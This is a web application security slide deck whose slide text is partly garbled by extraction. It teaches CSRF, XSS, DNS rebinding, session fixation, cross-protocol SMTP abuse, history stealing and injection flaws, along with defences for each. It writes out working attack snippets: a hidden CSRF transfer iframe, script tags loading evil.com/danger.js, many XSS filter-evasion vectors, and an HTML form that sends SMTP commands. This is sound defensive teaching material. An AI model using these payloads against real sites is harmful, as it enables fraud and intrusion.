Web App Security
Keeping your application safe
CSRF = Cross Site Request Forgery
You are at risk of a CSRF attack whenever you assume that a request containing an authentication header (e.g. cookies) is something the user intended
CSRF
bank.com
evil.com
.
<iframe width=0 height=0
src="http://bank.com/transfer.cgi?amnt=all&dest=MrEvil"/>
Welcome Fred,
CSRF
JavaScript is not always required to exploit a CSRF hole Often all you need is:
• <iframe src="dangerous_url">
• or <img src="dangerous_url"/>
• or <script src="dangerous_url">
You can’t use XHR because cross-domain rules prevent the request from being sent
CSRF
CSRF attacks are write-only (with one exception) Both GET and POST can be forged
Referrer checking is not a complete fix, but it can slow an attacker down
It’s not just cookies that get stolen: • HTTP-Auth headers
• Active Directory Kerboros tokens
CSRF - Protection
Force users to log off Check referrer headers
Include authentication tokens in the body of EVERY request Can help, but not a complete solution
The only real
CSRF - Protection
Security tokens in GET requests are not a great idea
(bookmarks, caches, GET should be idempotent etc) POST means forms with hidden fields
• OWASP servlet filter
http://www.owasp.org/index.php/CSRF_Guard
Double-submit cookie pattern (Ajax requests only)
XSS = Cross Site Scripting
You are at risk of an XSS attack any time you allow scripts from someone untrusted into pages from your domain
XSS - Cross Site Scripting
3 types:
• Reflected: Script embedded in the request is ‘reflected’ in the response
• Stored: Attacker’s input is stored and played back in later page views
• DOM: Script is injected into the document from outside response body
XSS
Scenario: You let the user enter their name
Someone is going to enter their name like this:
Joe<script src="http://evil.com/danger.js"> Then, whoever looks at Joe’s name will execute Joe’s script and become a slave of Joe
XSS
There are 2 basic scenarios: • HTML is not a valid input
• HTML is a valid input (e.g. blogs, myspace, anything with a rich editor environment)
XSS - Making User Input Safe
So, you filter out ‘<script.*>’ and then you’re safe.
XSS - Making User Input Safe
You also need to filter:
<table background="javascript:danger()"> <tr background="javascript:danger()">
XSS - Making User Input Safe
And don’t forget:
<input type='image'
src='javascript:danger()'/> <img src='javascript:danger()'/> <frameset>
XSS - Making User Input Safe
And then there’s:
<link rel="stylesheet"
href="javascript:danger()"/> <base href="javascript:danger()">
XSS - Making User Input Safe
But remember: <meta http-equiv="refresh" content="0;url=javascript:danger()"> <p style='background-image: url("javascript:danger();")'); <a href='javascript:danger();'>XSS - Making User Input Safe
And:
<body onload='danger();'>
<div onmouseover='danger();'> <div onscroll='danger();'>
XSS - Making User Input Safe
Did you test for:
XSS - Making User Input Safe
And:
<object type="text/x-scriptlet"
data="evil.com/danger.js">
XSS - Making User Input Safe
And:
XSS - Making User Input Safe
It’s made 1000 times worse by browsers being able to make sense of virtually anything.
This:
<a href="a.html" link</a>
XSS - Making User Input Safe
It’s made 1000 times worse by browsers being able to make sense of virtually anything.
This:
<a href="a.html">link
XSS - Making User Input Safe
It’s made 1000 times worse by browsers being able to make sense of virtually anything.
This:
<a href="a.html >link</a>
XSS - Making User Input Safe
It’s made 1000 times worse by browsers being able to make sense of virtually anything.
This: (depending on some encoding tricks)
¼a href="a.html"¾link¼/a¾
XSS - Making User Input Safe
And we haven’t got into:
• Flash (ActionScript ~= JavaScript) • SVG (can embed JavaScript)
• .htc (packaged HTML in IE) • XML Data Islands (IE only) • HTML+TIME
XSS - The Heart of the Problem
“Be conservative in what you do; be liberal in what you accept from others”
XSS - The Heart of the Problem
A
B
XSS - The Heart of the Problem
¼
STYLE
¾
@im\port'\ja\vas
c\ri
pt:danger()';
¼
/STYLE
¾
XSS - Protection (HTML is Illegal)
1. Filter inputs by white-listing input characters
• Remember to filter header names and values 2. Filter outputs for the display environment
For HTML:
< < > > ' ' " " & &
If it might pop-up in Javascript:
( ( ) )
XSS - Protection (well-formed HTML is legal)
1. Filter inputs as before
2. Validate as HTML and throw away if it fails 3. Swap characters for entities (as before) 4. Swap back whitelist of allowed tags. e.g.:
• <strong> <strong>
5. Take extra care over attributes:
• <a href="\([^&]*\)"\/> <a href="$1"/>
XSS - Protection (malformed HTML is legal)
1. Find another way to do it / Swap jobs / Find some other solution to the problem
2. Create a tag soup parser to create a DOM tree from a badly formed HTML document
• Remember to recursively check encodings 3. Create a tree walker that removes all non approved elements and attributes
Hacking RSS and Atom Feed Implementations
http://www.cgisecurity.com/papers/HackingFeeds.pdf
}
⇢
XSS - Hacking RSS Readers
XSS - Summary
Restrict input as much as possible, whenever possible:
• Better to filter on known by known good or ‘whitelist’ than ‘blacklist’
Ensure user-supplied data is output with entity encoding • E.g. JSTL <c:out value="${foo}"/> (escapes XML)
Anti-DNS Pinning
1.2.3.4
10.0.0.1
DNS for evil.com
Anti-DNS Pinning
Let’s visit evil.com
1.2.3.4
10.0.0.1
DNS for evil.com
Anti-DNS Pinning
What’s the IP address
for evil.com?
1.2.3.4
10.0.0.1
DNS for evil.com
Anti-DNS Pinning
You need 1.2.3.4 (timeout = 1 sec)1.2.3.4
10.0.0.1
DNS for evil.com
Anti-DNS Pinning
Can I have http://evil.com please?
1.2.3.4
10.0.0.1
DNS for evil.com
Anti-DNS Pinning
HTML + JavaScript that creates an iframe
2 seconds after the page has loaded
1.2.3.4
10.0.0.1
DNS for evil.com
Anti-DNS Pinning
1.2.3.4
10.0.0.1
Time passes (2 seconds)DNS for evil.com
Anti-DNS Pinning
1.2.3.4
10.0.0.1
What’s the IP address for evil.com?
Anti-DNS Pinning
1.2.3.4
10.0.0.1
You need 10.0.0.1
Anti-DNS Pinning
1.2.3.4
10.0.0.1
DNS for evil.com
Can I have http://evil.com/blah please?
Anti-DNS Pinning
1.2.3.4
10.0.0.1
DNS for evil.com
This web server is really http://intranet.bigcorp.com
Anti-DNS Pinning
1.2.3.4
10.0.0.1
DNS for evil.com
Outer frame reads text from inner iframe and sends it
Anti-DNS Pinning
1.2.3.4
10.0.0.1
DNS for evil.com
About ‘Pinning’:
To prevent this attack, browsers ‘pin’ DNS addresses to
prevent short DNS timeouts
But websites can get around this by firewalling
themselves thus appearing to be down
Browsers then need to re-query DNS in case the server
is doing DNS round-robin
Anti-DNS Pinning
It’s not great for the Internet: the browser thinks the domain is evil.com, so cookies for innocent.com are not sent:
Cookie protected resources are safe (for now) But it’s great for Intranet hacking
Combining Attacks
The problem with small holes:
They combine, often in surprising ways, into much bigger holes
If your site that isn’t 100% safe against XSS and CSRF, users can attack their ‘friends’ with scripts
XHR/Flash/Quicktime can be used as a vector
Web worms grow much faster than email worms
So far, infections have been mostly benign, like how email worms were in the early 90’s ...
http://www.whitehatsec.com/downloads/WHXSSThreats.pdf
History stealing to enumerate hosts inside the firewall Anti-DNS pinning to read HTML from inside
Many routers / firewalls / etc have default passwords, which an attacker can exploit
Use CSRF to alter router / firewall settings
http://www.whitehatsec.com/home/resources/presentations/files/javascript_malware.pdf
Questions?
Joe Walker
Check the stuff you are allowing access to
It’s so obvious, someone *else* must be checking ... It’s a common mistake:
• MySpace (last week)
• Photobucket (the week before, and the week before that)
Dropping SSL after login is dangerous
Being able to snoop on someone else’s cookie is virtually the same as being able to snoop on their password
Some services (e.g. Google) default to http after login (bad), but allow you to use https for the whole session:
• https://mail.google.com/mail/
• https://www.google.com/calendar/ • etc.
Session Fixation using URL Re-writing
URL re-writing allows 2 sessions to be active at the same time
Session Fixation using URL Re-writing
Existing sessions must be invalidated on login:
HttpSession s = request.getSession(false); if (s != null) s.invalidate();
s = request.getSession(true);
Declare URL re-writing illegal:
if (request.isRequestedSessionIdFromURL()) throw SecurityException();
Cross Protocol Exploitation
Many Internet protocols are “robust” - they tolerate errors, to get around incompatibilities and to help user testing
But this can allow you to talk 2 languages at the same time and still make sense ...
Cross Protocol Exploitation
<form action="http://mail:25/" method="POST"
enctype="multipart/form-data"> <textarea name="foo"> HELO example.com MAIL FROM:<[email protected]> RCPT TO:<[email protected]> DATA Subject: Hi there! From: [email protected] To: [email protected] Hello world! . QUIT </textarea>
<input type="submit" value="GO"/> </form>
Cross Protocol Exploitation
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=---0xKhTmLbOuNdArY ---0xKhTmLbOuNdArY
Content-Disposition: form-data; name="foo" HELO example.com MAIL FROM:<[email protected]> RCPT TO:<[email protected]> DATA Subject: Hi there! From: [email protected] To: [email protected] Hello world! .
Cross Protocol Exploitation
220 mail.example.org ESMTP Hi there!
POST / HTTP/1.1
500 Command unrecognized
Content-Type: multipart/form-data; boundary=---0xKhTmLbOuNdArY
500 Command unrecognized
---0xKhTmLbOuNdArY
500 Command unrecognized
Content-Disposition: form-data; name="foo"
500 Command unrecognized
HELO example.com
250 mail.example.org Hello example.com [10.11.12.13]
MAIL FROM:<[email protected]>
250 <[email protected]> is syntactically correct
RCPT TO:<[email protected]>
250 <[email protected]> is syntactically correct
DATA
354 Enter message, ending with "." on a line by itself
Subject: Hi there! From: [email protected] To: [email protected] Hello world! . 250 OK id=15IYAS-00073G-00 221 mail.example.org closing connection
Comparative Browser Security
Internet Explorer:
• Made worse by backward compatibility - HTML+Time? Firefox:
• Made better by plugins - but only to some users Safari:
Useful Tools
Firefox:
• NoScript - Accept scripts only from sites you trust
• AltCookies - Accept cookies only from sites you trust • EditCooikes - Alter cookies for testing
• Firebug - Dig deeply into HTTP/JavaSript/CSS and HTTP
General:
• Paros - Filtering Proxy (can be configured to be transparent) • Burp - Like Paros
I want to know if you visit dodgy.com I create a page with a link and use a script to read the CSS link color:
• purple:guilty, blue:not guilty
A page can quickly check thousands of sites and find where you bank and store your email
http://ha.ckers.org/weird/CSS-history-hack.html
History Stealing - Part 2
Point a script tag at a protected HTML resource, detect differing replies by differing error messages
<script src="http://mail.google.com/mail">
Malicious File Execution / Injection Flaws
OWASP separates:
• #3. Malicious File Execution from
• #2. Injection Flaws
In some ways the distinction is slightly arbitrary so we will consider them together
Injection Flaws
This occurs when an application trusts a file / data stream from a user
Examples include:
• Remote file include vulnerabilities (common in PHP) • Malicious media files
Injection Flaws - Example
From posting to http://ha.ckers.org by Michael Schramm
Injection Flaws
// The image directory
URL imageDir = getServletContext().getResource("/images");
// Ask Commons FileUpload to write uploaded images to the directory
DiskFileItemFactory iFact = new DiskFileItemFactory(0,
new File(imageDir.getFile())); ServletFileUpload fileUploader = new ServletFileUpload(iFact);
// Tell the "upload done" JSP about the uploaded file
List<FileItem> fileItems = fileUploader.parseRequest(req);
req.setAttribute("uploadName", fileItems.get(0).getName());
// And forward to the done JSP.
Injection Flaws
// Setup the upload as before
List<FileItem> fileItems = fileUploader.parseRequest(req);
// Use ImageIO to read from the stream
InputStream is = fileItems.get(0).getInputStream();
ImageInputStream iis = new MemoryCacheImageInputStream(is); Iterator it = ImageIO.getImageReaders(iis);
ImageReader reader = it.next();
reader.setInput(iis);
// Find something out about the stream
int width = reader.getWidth(0);
// Rest of process (hint - it’s too late)
Injection Flaws
Chris Evans’ Image Vulnerability • Native code buffer overflow
• Potential for exploitation remotely
• Fix requires very recent JVM. Upgrade to: • JDK 1.4.2_15
Injection Flaws
Other things to watch out for:
• SQL (Use PreparedStatement)
• OS Commands (Don’t use Runtime.exec) • LDAP
• XML (Use proper escaping) • XPATH
• Buffer overflows • etc ...
Many media types are scriptable by design:
Some are ‘scriptable’ by buffer-overflow:
If you are allowing users to upload files; be afraid.
JavaScript Malware embedded in everything:
http://jeremiahgrossman.blogspot.com/2006/09/javascript-malware-embedded-in.html
Injection Flaws - Protection
Strongly validate anything sent to you by the user • Accept known good
• If in doubt; chuck it away Binary files are hard to validate
• Sometimes just ‘processing’ a file fixes it